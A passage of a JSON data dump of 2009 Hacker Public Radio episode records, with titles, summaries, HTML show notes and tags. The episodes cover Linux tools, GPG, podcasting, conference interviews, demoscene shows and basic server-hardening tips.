Celtx

\n

Org Mode for Emacs

\n

gVim

\n

...and a LOT more...

\n

You can also download this episode in the controversial ogg format.

\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"roundtable,Mintcast,Iceweasel,mencoder,mplayer,Audacity,Open Office,Dokuwiki,Handbrake,Bashpodder","version":0,"downloads":1965,"valid":1}, {"id":435,"date":"2009-09-01","title":"Lightweight Apps: Enlightenment, Part 2","duration":1595,"summary":"Klaatu and Bryanstein from the Florida Linux Show discuss e17.","notes":"

Lightweight Apps: Enlightenment, Part 2

\n

Klaatu and Bryanstein from the Florida Linux Show rave about e17.

\n

Easy-E17 Install Script
\nThis episode in ogg

\n","hostid":78,"series":11,"explicit":0,"license":"CC-BY-NC-SA","tags":"enlightenment,e17,lightweight","version":0,"downloads":1954,"valid":1}, {"id":436,"date":"2009-09-03","title":"Talk geek to me ep 01","duration":1435,"summary":"Deepgeek talks geek to his fans about the website mirroring software \"Httrack\"","notes":"Deepgeek reviews the website mirroring software \"Httrack\" then puts it to good use by combining it with Cpanels \"Entropy Search\" to create a custom web search.\n","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"Website mirroring,httrack","version":0,"downloads":2319,"valid":1}, {"id":437,"date":"2009-09-03","title":"refit","duration":301,"summary":"Skirlet tells you how to install and use rEFIt for Intel-based Mac computers","notes":"

Skirlet tells you how to install and use rEFIt for Intel-based Mac computers. Listen to this episode in the Skirlet-approved ogg version!\n

","hostid":88,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"refit,EFI Hack,Apple,Mac","version":0,"downloads":3248,"valid":1}, {"id":438,"date":"2009-09-05","title":"Podcasts I Listen To","duration":803,"summary":"Dave Yates does a show about all the podcasts he listens to.","notes":"

Dave Yates from the \"Lotta Linux Links Linux User Podcast\" does a show about all the podcasts he listens to. And, as you'd expect, he provides a LOT of linux links here in the shownotes.

\n\n

Dave's List of RSS Feeds:

\n

https://www.linuxuserpodcast.com/feed/podcast/?format=ogg
\nhttps://feeds.feedburner.com/cmdln_free
\nhttps://feeds2.feedburner.com/SomethingKindaTechy
\nhttps://talkgeektome.us/ogg.xml
\nhttps://trygnulinux.com/ogg.rss
\nhttps://www.tuxradar.com/files/podcast/podcast_ogg.rss
\nhttps://linuxgeekdom.com/rssogg.xml
\nhttps://linuxvoid.technographer.net/soundfeed.xml
\nhttps://www.softwarefreedom.org/feeds/podcast-ogg/
\nhttps://feeds.feedburner.com/TenBuckReview
\nhttps://www.fossgeek.com/feeds/rss-ogg-full.xml
\nhttps://ubuntupodcast.net/?feed=rss2
\nhttps://setbit.org/lt-ogg.xml
\nhttps://jwplinux.libsyn.com/rss
\nhttps://linuxcranks.info/ogg.xml
\nhttps://feeds.feedburner.com/thetechiegeek/ogg
\nhttps://www.thebadapples.info/fedorareloaded/ogg.xml
\nhttps://feeds.feedburner.com/UbuntuUkPodcastOgg-high
\nhttps://www.thebadapples.info/ogg.xml
\nhttps://linuxcrazy.com/podcasts/ogg.xml
\nhttps://thelinuxlink.net/files/lager_ogg.rss
\nhttps://www.hwhq.com/rssOGG.xml
\nhttps://www.linuxbasement.com/ogg/feed
\nhttps://feeds.feedburner.com/feedburner/knightcast
\nhttps://feeds.feedburner.com/doctorow_podcast
\nhttps://lottalinuxlinks.com/podcast/uclugogg.xml
\nhttps://www.tmbg.com/_media/_pod/podcast.xml
\nhttps://feeds.feedburner.com/GNSciTech
\nhttps://goinglinux.com/mp3podcast.xml
\nhttps://feeds.feedburner.com/sourcetrunk
\nhttps://www.thelinuxlink.net/tllts/tllts_ogg.rss
\nhttps://hackervoice.co.uk/feed.xml
\nhttps://distrowatch.com/news/podcast.xml
\nhttps://pauldotcom.com/podcast/psw.xml
\nhttps://feeds.feedburner.com/freshubuntuogg
\nhttps://feeds.feedburner.com/linuxoutlaws
\nhttps://distrocast.org/?feed=podcast&format=mp3

\n \n

A Lotta Linux Links:

\n

https://lincgeek.org/bashpodder
\nhttps://linuxplanet.org/casts
\nhttps://linuxplanet.org/casts/?feed=rss2
\nhttps://thelinuxlink.net
\nhttps://hackermedia.org
\nhttps://netboot.me

","hostid":77,"series":75,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcasts,feed","version":0,"downloads":3012,"valid":1}, {"id":439,"date":"2009-09-07","title":"TiT Radio Episode 007","duration":5894,"summary":"Monsterb and friends host TiT Radio","notes":"Waaaaay back on August 15th, 2009...\nmonsterb and friends talk about Slack Mini Server, Ohio LinuxFest 2009, 10 best Linux cheat sheets, writing udev rules, Linux audio, and so much more.\n\nCheck out https://titradio.info for shownotes.","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Slack mini server,Electronic music creation,Ohio linux fest,Bell Labs,Unix,LGPL,Udev rules","version":0,"downloads":1428,"valid":1}, {"id":440,"date":"2009-09-08","title":"Developing Through Virtualbox","duration":3246,"summary":"Brian Leonard at the SouthEast Linux Fest 2009","notes":"Brian Leonard at the SouthEast Linux Fest 2009. See episode title for a clue about what the talk is about!","hostid":158,"series":35,"explicit":1,"license":"CC-BY-NC-SA","tags":"java applications","version":0,"downloads":2207,"valid":1}, {"id":441,"date":"2009-09-09","title":"Migrating Your GPG Key and Starting GPG-Agent","duration":774,"summary":"Klaatu continues his discussion of all things GnuPG","notes":"Klaatu continues his discussion of GnuPG related matters (see episode 0222 for Alpine+GPG and some random Bad Apple Linux OggCast ep 2x04 on GPG in general). In this exciting episode, he talks about the proper way to migrate your GnuPG keys, how to manage gpg-agent in your Slackware+KDE desktop, and advises everyone who will be attending Ohio Linux Fest this year to attend the GnuPG Key Signing Party.","hostid":78,"series":0,"explicit":0,"license":"CC-BY-NC-SA","tags":"gnupg,gpg keys,gpg-agent","version":0,"downloads":6327,"valid":1}, {"id":442,"date":"2009-09-11","title":"Chris DiBona Speaks at SELF 2009","duration":3074,"summary":"Chris DiBona at the South East Linux Fest 2009","notes":"

Chris DiBona at the South East Linux Fest 2009.

\n

This file available as ogg here:

\n

Ogg Version","hostid":158,"series":35,"explicit":1,"license":"CC-BY-NC-SA","tags":"Open source licensing,BSD license,Apache license","version":0,"downloads":2239,"valid":1}, {"id":443,"date":"2009-09-11","title":"How to Sign C Files with GPG","duration":430,"summary":"sigflup talks about cryptographically signing your C source files","notes":"

In this show SigFLUP shares a script that can be used to sign your c files with gpg so that they may be directly verifiable by gpg and look un-changed to your c compiler. You can download it at tmd.freeshell.org/gog_bless

","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"C,programming,script,gpg,signature,trust","version":0,"downloads":4187,"valid":1}, {"id":444,"date":"2009-09-14","title":"Cherokee And Asyncronous Servers","duration":1424,"summary":"Thistleweb discusses the Cherokee server","notes":"

ThistleWeb discusses the difference between process based and asynchronous servers, then goes on to talk about Cherokee server and a few flat file PHP applications.

The Admin process:

  • sudo cherokee-admin
  • localhost:9090
  • Copy and paste the temprary password.
  • You can bind it (or a virtual server) to 127.0.0.1 if it's meant to be a private server.

I kept refering to \"spawn-cgi\" in the recording. This is supposed to be \"spawn-fcgi\". I also inferred that it didn't use config files, it does; it just generates them via the admin web GUI and will overwrite any changes made manually.

My new blog is thistleweb.co.uk, my new email is gordon (at) thistleweb (dot) co (dot) uk.

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Cherokee webserver,webservers,asynchronous","version":0,"downloads":3653,"valid":1}, {"id":445,"date":"2009-09-15","title":"HAR Update with Chris n' Frank","duration":2632,"summary":"Hacking at Random interview with Chris and Frank","notes":"Finux interviews Frank and Chris for an update after the Hacking At Random (HAR) event. What is Hacking At Random? listen to the episode!\n\nYou can download the ogg version here --> download the ogg version.","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Hacking at random,ham radio","version":0,"downloads":2116,"valid":1}, {"id":446,"date":"2009-09-16","title":"Building Live CDs with Fedora","duration":1633,"summary":"Clint Savage at SouthEast Linux Fest 2009 on how to build Live CDs","notes":"

Clint Savage at SouthEast Linux Fest 2009 on how to build Live CDs and Live USB sticks (\"remixes\" and \"respins\") using Fedora tools like kickstart, live usb creator, revisor, and more.

\n\n

Note that this is Klaatu's edit and is shorter than the source audio on southeastlinuxfest.org because the delay due to technical difficulty has been chopped out.

\n\n

Ogg is available here:\nhpr0446.ogg

","hostid":158,"series":35,"explicit":1,"license":"CC-BY-NC-SA","tags":"Fedora,Live CD","version":0,"downloads":1692,"valid":1}, {"id":447,"date":"2009-09-17","title":"Lord Drachenblut Recovers Data After a Failed Dist-Upgrade","duration":408,"summary":"Lord Drachenblut learns about data recovery","notes":"

Daring to upgrade to an Alpha version of Kubuntu, Lord Drachenblut learns the finer points of data recovery.

\n

\nOGG VORBIS

","hostid":24,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"data recovery,dist-upgrade","version":0,"downloads":2558,"valid":1}, {"id":448,"date":"2009-09-18","title":"TiT Radio 008 - Something Kinda Tacky","duration":4363,"summary":"Monsterb and friends host TiT Radio","notes":"

Recorded Live Sept. 5th, 2009; monsterb and friends talk about a perl\nscript called exiftool,  Jibbed a NetBSD livecd,  something\nshocking on Planet Gnome,  Hannah Montana distro, and so much\nmore.  Please take a look at the shownotes for detailed\ninformation.  https://titradio.info/008.html
\n

","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"BSD,exiftool,Chrome OS,Quake Live","version":0,"downloads":2114,"valid":1}, {"id":449,"date":"2009-09-21","title":"Fericyde and Damin talk about Ohio Linux Fest","duration":2571,"summary":"A trip down memory lane with Fericyde and Damin.","notes":"

Ah, a trip down memory lane with Fericyde and Damin. They talk about geek fests and the upcoming Ohio Linux Fest.

\n

ogg version

","hostid":109,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Ohio Linux Fest,geek,Ubuntu","version":0,"downloads":3588,"valid":1}, {"id":450,"date":"2009-09-23","title":"TiT Radio 009 - peggy, piggy, and pat","duration":5294,"summary":"Monsterb and friends host TiT Radio","notes":"Recorded Live Sept. 19th, 2009;  The TiTs talk about QT 4.6,\nDreamScreen 100, new Arch Magazine, Sexism in FOSS, and so much\nmore.  Please take a look at the shownotes for detailed\ninformation.  https://titradio.info/009.html","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"DreamScreen 100,Arch Magazine,qt project,sexism in FOSS,Archos 5 tablet,accessibility,barcodes,audiobooks,bittorrent,media frontends,Ohio Linux Fest","version":0,"downloads":1993,"valid":1}, {"id":451,"date":"2009-09-23","title":"Podcasting: From Mic to Audience","duration":1328,"summary":"Finux talks about podcasting","notes":"Podcasting: From Mic to Audience finux talks all about podcasting","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcasting,Audacity,blog","version":0,"downloads":2261,"valid":1}, {"id":452,"date":"2009-09-24","title":"Demo or Bust 2010 Part 4","duration":6844,"summary":"SigFLUP talks about software rendering and then interviews blackpawn of xplsv","notes":"In this episode SigFLUP talks about software rendering and then interviews blackpawn of xplsv. Leave you feedback at +1-206-312-1618 or email pantsbutt@gmail.com","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":1683,"valid":1}, {"id":453,"date":"2009-09-26","title":"Talk Geek to me Ep 2","duration":2044,"summary":"Deepgeek talks geek to his fans about HTML","notes":"Deepgeek discusses upgrading from old style HTML to Modern HTML. He uses, as a feature example, device independence between Cell Phone Micro Browsers and Desktop Browsers like Firefox.","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"HTML,css,stylesheets,micro browser,mobile browsing","version":0,"downloads":1983,"valid":1}, {"id":454,"date":"2009-09-29","title":"BruCon Interview","duration":2663,"summary":"Finux interviewing Benny from BruCON","notes":"finux interviewing Benny from BruCON","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"BruCON,unconference,hacking","version":0,"downloads":1938,"valid":1}, {"id":455,"date":"2009-09-30","title":"Interview with Dann at OLF","duration":805,"summary":"Pegwole interviews Dann at the Ohio Linux Fest","notes":"pegwole interviews Dann at OLF","hostid":120,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1478,"valid":1}, {"id":456,"date":"2009-10-01","title":"What is Free Software","duration":1716,"summary":"Finux discusses what is free software","notes":"finux talks about what is free software.","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"Free software,Open source software,history","version":0,"downloads":1714,"valid":1}, {"id":457,"date":"2009-10-02","title":"automatic car","duration":829,"summary":"Ken Fallon talks about an automatic car, with a twist","notes":"ken fallon talks about an automatic car","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"automatic transmission,cars,linux","version":0,"downloads":1629,"valid":1}, {"id":458,"date":"2009-10-02","title":"Blender-Game-Engine-A-Short-Guide","duration":1358,"summary":"GaryWhiton talks about Blender","notes":"GaryWhiton talks about Blender ","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"Blender,gaming,game development,game engine","version":0,"downloads":2077,"valid":1}, {"id":459,"date":"2009-10-06","title":"Sine Nomine Interview","duration":620,"summary":"Klaatu interviews David from Sine Nomine: Recapturing aging technology in new ways.","notes":"

At the Ohio Linux Fest 2009, Klaatu talks to David from Sine Nomine about reviving old technology to create better new technology.

The ogg version provided by The Bad Apples Linux Oggcast.

\n","hostid":78,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1437,"valid":1}, {"id":460,"date":"2009-10-08","title":"TiT Radio Ep 10 - OLF","duration":2677,"summary":"Monsterb and friends host TiT Radio","notes":"

Episode 010 - Warning - Bad Levels

\n

Recorded on Oct 3rd, 2009. monsterb and the TiTs talk about Ohio Linux Fest, Leo Laporte,\nOpenShot Video Editor, gimp, seeing through walls, and so much more!

\n\n

Please visit https://titradio.info/010.html for detailed shownotes.

\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"how I found Linux,Ohio Linux Fest,Twit network,ogg","version":0,"downloads":1615,"valid":1}, {"id":461,"date":"2009-10-08","title":"Mibbit","duration":1062,"summary":"ThistleWeb discusses why you should have an embedded Mibbit client","notes":"

ThistleWeb discusses why you should have an embedded Mibbit client on your projects home page.

\n
    \n
  • Users needn't know about IRC or have a client installed.
  • \n
  • Users can connect from any PC, regardless of restrictions with only a web browser.
  • \n
  • Real time language translation allows you to vault over the langauge barrier and be properly international, regardless of the size of your userbase.
  • \n
  • Pastebin is only a click away, for those times where you need to share or see code / logfiles etc
  • \n
","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Mibbit,IRC,real-time language translation","version":0,"downloads":1521,"valid":1}, {"id":462,"date":"2009-10-08","title":"Talk Geek to me Ep 4","duration":1767,"summary":"Deepgeek talks geek to his fans about \"Lyx,\" the document processor","notes":"The main feature of this episode is a software review of \"Lyx,\" the document processor. A \"not a word processor\" front end to the powerful Latex typesetting environment, and multiplatform too.\nDeepgeek also offers updates on his \"Beowulf cluster\" and \"Running Linux on Compact Flash\" episodes of HPR.\nClosing music is \"Sevish - Consciousness.\"","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"LyX,LaTeX,typesetting","version":0,"downloads":2025,"valid":1}, {"id":463,"date":"2009-10-13","title":"Finux Interviews Moxie Marlinspike about SSL","duration":2279,"summary":"Finux talks to Moxie Marlinspike about a variety of vulnerabilities in SSL","notes":"

Finux talks to Moxie Marlinspike about a variety of vulnerabilities in most common implementations of SSL, such as hijacking the switch from http to https, universal wildcard certs, SSLsniff and more.\n

\n

ogg version! ","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,SSL,security","version":0,"downloads":8295,"valid":1}, {"id":464,"date":"2009-10-14","title":"Barefoot Running","duration":1360,"summary":"How to run barefoot","notes":"Barefoot running resources\n

","hostid":7,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Barefoot running,Barefoot shoes,Chia seeds","version":0,"downloads":2184,"valid":1}, {"id":465,"date":"2009-10-14","title":"Failsafe security","duration":971,"summary":"Tips on securing your Linux systems, see Episode 431","notes":"

WARNING: It's easy to lock yourself out of a system implementing these changes so make sure you have physical access to the console of the system you are securing.

\n\n

To display all processes listening

\n
  netstat -anp | grep -i listen\n
\n\nDeny all connections to any port from any external IP address\n
/etc/hosts.deny\n  all:all\n\n/etc/hosts.allow\n  sshd:192.168.1.54 # My other pc\n
\n\n

IPTables Tutorial: https://iptables-tutorial.frozentux.net/

\n\n

A good starting point to block all except ssh:\nhttps://www.cyberciti.biz/tips/linux-iptables-4-block-all-incoming-traffic-but-allow-ssh.html

\n\n

Disable root login via ssh: https://www.howtogeek.com/howto/linux/security-tip-disable-root-ssh-login-on-linux/

\n\n

Setting up ssh keys and disabling password logins.

\n\n

https://www.debuntu.org/ssh-key-based-authentication

\n\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"security,netstat,hosts file,iptables,Firefox,noscript","version":0,"downloads":1678,"valid":1}, {"id":466,"date":"2009-10-16","title":"A technique for drum 'n' bass","duration":550,"summary":"In this show SigFLUP shares a program that can be used to make drum 'n' bass songs.","notes":"In this show SigFLUP shares a program that can be used to make drum 'n' bass songs. \nYou can download it at https://tmd.freeshell.org ","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"drum'n'bass,music,samples,freeshell","version":0,"downloads":1794,"valid":1}, {"id":467,"date":"2009-10-16","title":"AutoNessus News","duration":1624,"summary":"Finux and the author of AutoNessus talk about some upcoming news about this software","notes":"finux and the author of Autonessus talk about some upcoming news about this software","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"AutoNessus,Interview,security,scanner","version":0,"downloads":1505,"valid":1}, {"id":468,"date":"2009-10-19","title":"Quvmoh's UTOS trip","duration":411,"summary":"Quvmoh details his trip to the Utah Open Source Conference","notes":"\n","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Utah Open Source Conference,networking 101,z shell,Linux home servers,life without a GUI,ssh tips and tricks,openvpn,podcasting,ffmpeg,HDR photography","version":0,"downloads":1394,"valid":1}, {"id":469,"date":"2009-10-21","title":"TiT Radio 011 - puppies, tails, and a gnome ","duration":4229,"summary":"Monsterb and friends host TiT Radio","notes":"\nRecorded live on Oct 17th, 2009. Pick your price for World of Goo, Gnome 3,
\n Puppy Linux, KaOS, Commands of the Week, and so much more!
\n Shownotes and Ogg: https://titradio.info/011.html
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"PXE boot,Gnome shell,Puppy Linux,Texas Instruments,EFF,Screen,Tmux","version":0,"downloads":1458,"valid":1}, {"id":470,"date":"2009-10-21","title":"Interworx","duration":470,"summary":"Klaatu interviews Jon from Interworx at Ohio Linux Fest 2009","notes":"Klaatu interviews Jon from Interworx at Ohio Linux Fest 2009.","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":2137,"valid":1}, {"id":471,"date":"2009-10-23","title":"Interview with Andrej Hajto about VOIP","duration":2016,"summary":"Finux interviews Andrej Hajto about VOIP","notes":"Download the ogg vorbis version courtesy Finux & the Bad Apples.","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,VOIP","version":0,"downloads":2026,"valid":1}, {"id":472,"date":"2009-10-26","title":"Interview with Ryan Dewhurst","duration":2628,"summary":"Finux interviews Ryan Dewhurst of Damn Vulnerable Web Application","notes":"finux interview Ryan Dewhurst","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"ethical hacker,web application security","version":0,"downloads":1712,"valid":1}, {"id":473,"date":"2009-10-28","title":"Tit Radio Ep 011.1a - RMS and Aftershow","duration":1941,"summary":"Interview with RMS and TiT Radio aftershow","notes":"BSDBetty kicks off the show with an interview with Richard Stallman before his talk at the \n Edinburgh University Informatics Colloquium, with particular focus on ethics in the field of software. \n Transcription of this interview can be found at Indymedia Scotland.
\n\nAt the Roundtable: monsterb, klaatu, Peter64, Azimuth, JMan, 330, and pegwole.
\n\n\nCaller: SndChaser
\n\nPlease visit https://titradio.info/011-1a.html for shownotes and ogg.
\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Free Software","version":0,"downloads":1570,"valid":1}, {"id":474,"date":"2009-10-30","title":"Talk Geek To Me Ep 05 ","duration":1756,"summary":"Deepgeek talks geek to his listeners about the Aria2 download manager","notes":"\nDeepGeek gives a software review of the Aria2 download manager.","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"Aria2,download manager","version":0,"downloads":2249,"valid":1}, {"id":475,"date":"2009-10-31","title":"Lord Drachenblut Interviews Scott Sigler","duration":972,"summary":"In this episode Lord Drachenblut Interviews Scott Sigler","notes":"Lord Drachenblut Interviews Scott Sigler","hostid":24,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,books,audiobooks,audio setup,podiobooks","version":0,"downloads":2038,"valid":1}, {"id":476,"date":"2009-11-03","title":"FOSS In Business","duration":1765,"summary":"RobertLadyman talks about Free And Open Source Software In Business","notes":"RobertLadyman tals about Free And Open Source Software In Business ","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"free software,open source software,FOSS in business","version":0,"downloads":1482,"valid":1}, {"id":477,"date":"2009-11-05","title":"Uber Leet Hacker Force Radio","duration":526,"summary":"Uber Leet Hacker Force Radio issue 1","notes":"
\nAUTHOR: SigFLUP\n\nTITLE: Uber Leet Hacker Force Radio issue 1\n\nDESCRIPTION:\nIn this issue of Uber Leet Hacker Force Radio SigFLUP releases a helpful patch\nto gnu-screen. Show notes include\nhttps://hobones.dogsoft.net/screen-4.0.3-ulhf.1.tar.gz and\nhttps://hobones.dogsoft.net/ulhf_patch1.tgz\n\nYou may contact us at pantsbutt@gmail.com\n
\n","hostid":115,"series":87,"explicit":1,"license":"CC-BY-NC-SA","tags":"music,code","version":0,"downloads":1237,"valid":1}, {"id":478,"date":"2009-11-06","title":"Demo or Bust 2010 Ep 5","duration":5901,"summary":"This is the party version of Demo or Bust from SigFLUP","notes":"Demo or Bust 2010 #5
\nDESCRIPTION:
\nThis is the party version of Demo or Bust in which SigFLUP specifically focuses on upcoming parties. We\ntalk to Jason Scott and Nrr. Please note that in editing this Jason Scott may sound to be not enthusiastic\nabout @party and Nurupo, this was far from the case, he was actually very enthusiastic! In editing out \nsomething that was meant to be a secret SigFLUP may of made him sound a little dismissive of these parties
\n
\n\nBlockParty: https://www.demoparty.us
\nNurupo: https://wiki.corvidae.org/nurupo
\n@Party: https://www.atparty-demoscene.net
\n\nDemos played in this episode:\n\nhttps://www.pouet.net/prod.php?which=9424 (This is only 64 god-damn k!!!)\nhttps://www.pouet.net/prod.php?which=53090 (Mobile phone)\n\nYou may contact Demo or Bust at pantsbutt@gmail.com or +1-206-312-1618\n\n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":2072,"valid":1}, {"id":479,"date":"2009-11-06","title":"OLF 2009: Interview with Dwick","duration":565,"summary":"Klaatu at Ohio Linux Fest 2009 interviews DWick, a math professor","notes":"

Klaatu at Ohio Linux Fest 2009 interviews DWick, a math professor, about math programs on Linux.

\n

The ogg version kindly provided by The Bad Apples.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1599,"valid":1}, {"id":480,"date":"2009-11-11","title":"TiT Radio 012 - Happy Halloween","duration":4068,"summary":"Monsterb and friends host TiT Radio","notes":"

TiT Radio 012 - Happy Halloween

\n\n

Recorded 10-31-2009.

\n

monsterb, klaatu, Peter64, Azimuth, JMan, and 330 talk about Tiny Core Linux, Suse Studio, Ubuntu 9.10, Phoronix Test Suite, Commands of the Week, and so much more!

\n

Ending song by Kelly Allyn - 07 Whiskey Can.

\n

Please visit https://titradio.info/012.html for shownotes.

\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"screen,Tiny Core Linux,Suse Studio,flash","version":0,"downloads":1974,"valid":1}, {"id":481,"date":"2009-11-12","title":"Mashpodder","duration":517,"summary":"Ken Fallon talks about Mashpodder.","notes":"

Ken Fallon talks about Mashpodder.

\n\n

Some useful links:

\n\n

\nThe Ogg Vorbis version of this show can be found courtesy The Bad Applez --> download hpr0481.ogg\n

\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,bashpodder,mashpodder,Linux Reality,Spudshow","version":0,"downloads":1996,"valid":1}, {"id":482,"date":"2009-11-14","title":"Lugging it Home","duration":1011,"summary":"Lostnbronx talks about real and virtual Linux User Groups","notes":"LUGGING IT HOME\n\n
\n\nGetting By Without A Local Linux Users Group\n\n

\n\nMusic in this episode:\n\n

\n\n\n\nBluejuice\n\n\n\n
\n\n\nCheck out their page at the Podsafe Music Network \nhere\n\n
\n\nVitriol\n\n
\n\nThe Reductionist\n\n

\n\nAnd\n\n

\n\n\n\nBig John Bates\n\n\n\n
\n\nHis\n\npage \n\nat the Podsafe Music Network\n\n
\n\nMystiki\n","hostid":107,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Linux user group","version":0,"downloads":1854,"valid":1}, {"id":483,"date":"2009-11-16","title":"TiT Radio - Filthy Grunt and Bloopers","duration":4063,"summary":"Monsterb and friends host TiT Radio Bloopers","notes":"

Recorded on November 14th, 2009. Please visit https://titradio.info/013.html for shownotes.

\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Go programming language,AMD,EEE PC,e-reader","version":0,"downloads":1858,"valid":1}, {"id":484,"date":"2009-11-17","title":"Her PR Problem","duration":1347,"summary":"Rikki Kite gives her \"Her PR Problem\" talk at Ohio Linux Fest 2009.","notes":"

Rikki Kite of The Rose Blog and Linux Pro Magazine gives her \"Her PR Problem\" talk at Ohio Linux Fest 2009's Diversity in Open Source Workshop.

\n

The ogg version provided by The Bad Apple Linux Oggcast.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1424,"valid":1}, {"id":485,"date":"2009-11-19","title":"Newsbeuter","duration":1704,"summary":"ThistleWeb talks about the cli RSS reader called Newsbeuter","notes":"

ThistleWeb talks about the cli RSS reader called Newsbeuter, and it's podcatching abilities. He also gives an overview of the concept and advantages of RSS as he found many PC literate people he met had no clue about them or how they could be of use.

\n

The accompanying blog post which gives much more detail can be found here.

","hostid":106,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Newsbeuter,News reader,podcatcher,aggregator","version":0,"downloads":1913,"valid":1}, {"id":486,"date":"2009-11-24","title":"HPR Round Table 6","duration":3078,"summary":"Klaatu, SigFLUP, Skirlet, and Deepgeek gather around the HPR Round Table","notes":"Klaatu, SigFLUP, Skirlet, and Deepgeek gather around the venerable HPR Round Table to discuss the classic sci fi film, Forbidden Planet.","hostid":109,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"round table,movie,film,review","version":0,"downloads":1807,"valid":1}, {"id":487,"date":"2009-11-26","title":"Demo or Bust 2010 Ep 6","duration":4146,"summary":"SigFLUP host the next episode of Demo or Bust 2010","notes":"

demos in this episode:
\nhttps://www.pouet.net/prod.php?which=51438
\n\n\nhttps://www.pouet.net/prod.php?which=53223
\n\n\nhttps://www.pouet.net/prod.php?which=15216
\n

\n\n

closing song: Fractured by Azazel of The Black Lotus

\n

You may contact Demo or Bust at pantsbutt@gmail.com or +1-206-312-1618\n

","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Demo or Bust 2010","version":0,"downloads":2382,"valid":1}, {"id":488,"date":"2009-11-27","title":"Pegwole interviews Debbie Nicholson","duration":953,"summary":"At Ohio Linux Fest 2009, Pegwole and Lord Drachenblut chat with FSF's Debbie Nicholson","notes":"

At Ohio Linux Fest 2009, Pegwole sits down for a lil' chat with FSF's Debbie Nicholson.

","hostid":120,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1300,"valid":1}, {"id":489,"date":"2009-12-01","title":"SSL Attack","duration":1734,"summary":"Finux talks about SSL attacks","notes":"

Finux talks about SSL attacks\n

\nShownotes are on Finux's blog

","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"SSL,TLS,vulnerability,x509 certificate","version":0,"downloads":1785,"valid":1}, {"id":490,"date":"2009-12-02","title":"TIT Radio Ep 13.1ec","duration":1149,"summary":"From PC Radio Show website:\"Our guest was Richard Stallman\"","notes":"From PC Radio Show website:
\n\n\"Our guest was Richard Stallman, the man behind GNU and the Free Software Foundation. He condemns the Amazon Kindle (his term for it is the \"swindle\")\nbecause it takes away freedoms that readers of hardcopy books enjoy.\nFreedoms such as the ability to lend a book to a friend, to borrow one\nfrom a library, to buy one anonymously by paying cash, to keep a book\nas long as we like and to give it away. The Amazon Kindle implements DRM\n- digital rights management - to restrict your use of books. He is not\nagainst eBook readers per se, just the DRM, which in addition to the\nabove also requires you to run proprietary software to read eBooks. He\nurged listeners to go to Defectivebydesign.org and sign up to participate in his protests.\"
\n\n
\n\nThe complete episode from July 22nd can be found here.
\n
\nEnding Song: Free Software Song by Mr. Jono Bacon (Ubuntu Community Manager)
\n
\nPlease visit https://titradio.info for more info.
\n
